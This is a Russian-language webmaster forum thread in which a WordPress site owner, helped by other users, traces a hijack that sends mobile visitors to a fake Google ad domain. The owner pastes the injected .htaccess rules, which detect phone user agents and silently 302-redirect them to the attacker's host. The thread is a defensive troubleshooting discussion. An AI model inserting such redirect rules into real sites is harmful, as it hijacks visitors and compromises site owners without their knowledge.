[free]

Если мобильной версии ввести на поиски яндекса "купить кабель в минске" , то заходит на левый сайт, на компе все норм.Cайт bkr.by

[brainix]

Смотрите htaccess, файлы движка сайта на вирусы. Так же недобросовестные партнерки теоретически могут делать такое, но не постоянно.

[free]

Сайт, который заходит вместо моего _greencard.bid

[Ems]

Правильнее не в мобильной версии, а просто с мобильного. Ну не суть.

Суть в том, что даже если просто со смарта зайти на сайт, то происходит сначала редирект на mobile.googleadservices.at, а потом на "googleads.g.doubleclick.cn.com/mbuq.cgi?19", после чего уже открывается другой сайт.

Поздравляю! Вас взломали Т.к. это не сервис гугла, а подставной сайт.

Предлагаю для начала взглянуть на .htaccess и там поискать "mobile.googleadservices.at". Если найдётся - ок. Если нет, можно ещё подумать. Но вообще, это лишь решение следствия, а не проблемы. Нужно выяснить, как это произошло и закрыть дырку(и).

Проблема, возможно, кроется в дырке Wordpress или какого-то плагина.

[free]

Заметил что левый сайт окрывает только на главной, может зашит где-то в коде. Движок WP, фаил htaccess почистил, все левые файлы удалил. Не помогло

---------- Сообщение добавлено 20:47 ---------- Предыдущее 20:44 ----------

В .htaccess нашел "mobile.googleadservices.at"., полностью обновил файл, но все тоже самое

[Ems]

Уязвимость ещё не закрыта, поэтому это и продолжается. Нужно найти дырку. А так, это будет постоянно так работать. Вангую, что в файле .htaccess уже опять сидит "mobile.googleadservices.at".

[free]

Да)
RewriteEngine on
RewriteCond %{HTTP_ACCEPT} "text/vnd.wap.wml|application/vnd.wap.xhtml+xml" [NC,OR]
RewriteCond %{HTTP_USER_AGENT} "acs|alav|alca|amoi|audi|aste|avan|benq|bird|blac| blaz|brew|cell|cldc|cmd-" [NC,OR]
RewriteCond %{HTTP_USER_AGENT} "dang|doco|eric|hipt|inno|ipaq|java|jigs|kddi|keji |leno|lg-c|lg-d|lg-g|lge-" [NC,OR]
RewriteCond %{HTTP_USER_AGENT} "maui|maxo|midp|mits|mmef|mobi|mot-|moto|mwbp|nec-|newt|noki|opwv" [NC,OR]
RewriteCond %{HTTP_USER_AGENT} "palm|pana|pant|pdxg|phil|play|pluc|port|prox|qtek |qwap|sage|sams|sany" [NC,OR]
RewriteCond %{HTTP_USER_AGENT} "sch-|sec-|send|seri|sgh-|shar|sie-|siem|smal|smar|sony|sph-|symb|t-mo" [NC,OR]
RewriteCond %{HTTP_USER_AGENT} "teli|tim-|tosh|tsm-|upg1|upsi|vk-v|voda|w3cs|wap-|wapa|wapi" [NC,OR]
RewriteCond %{HTTP_USER_AGENT} "wapp|wapr|webc|winw|winw|xda|xda-" [NC,OR]
RewriteCond %{HTTP_USER_AGENT} "up.browser|up.link|windowssce|iemobile|mini|m mp" [NC,OR]
RewriteCond %{HTTP_USER_AGENT} "symbian|midp|wap|phone|pocket|mobile|pda|psp|PPC| Android" [NC]
RewriteCond %{HTTP_USER_AGENT} !macintosh [NC]
RewriteCond %{HTTP_USER_AGENT} !america [NC]
RewriteCond %{HTTP_USER_AGENT} !avant [NC]
RewriteCond %{HTTP_USER_AGENT} !download [NC]
RewriteCond %{HTTP_USER_AGENT} !windows-media-player [NC]
RewriteRule ^(.*)$ http://mobile.googleadservices.at [L,R=302]

---------- Сообщение добавлено 21:18 ---------- Предыдущее 21:11 ----------

удалил, пока вроде все норм

[Fartuna]

удалил, пока вроде все норм

Искать нужно уязвимость, а не удалять строки. Скачивай бекап на компьютер и уже все сканируй и проходи все файлы.

Сканируй как айболитом, так и на вирусинфо закинь архив с файлами, так и антивирусами(нортон и нод не плохо тоже видят бекдоры)

А пока строки удалил и ищешь уязвимости, после удаления строк, поставь права 444 на файл htaccess(не панацея но все же)

[hammer8]

free, Посмотрите все файлы, которые редактировались в последнее время, в WP есть много файлов, где взломщики могут вшивать ссылки.

[free]

Появился плагин WP File Manager, наверное с него все и делали, раньше его не было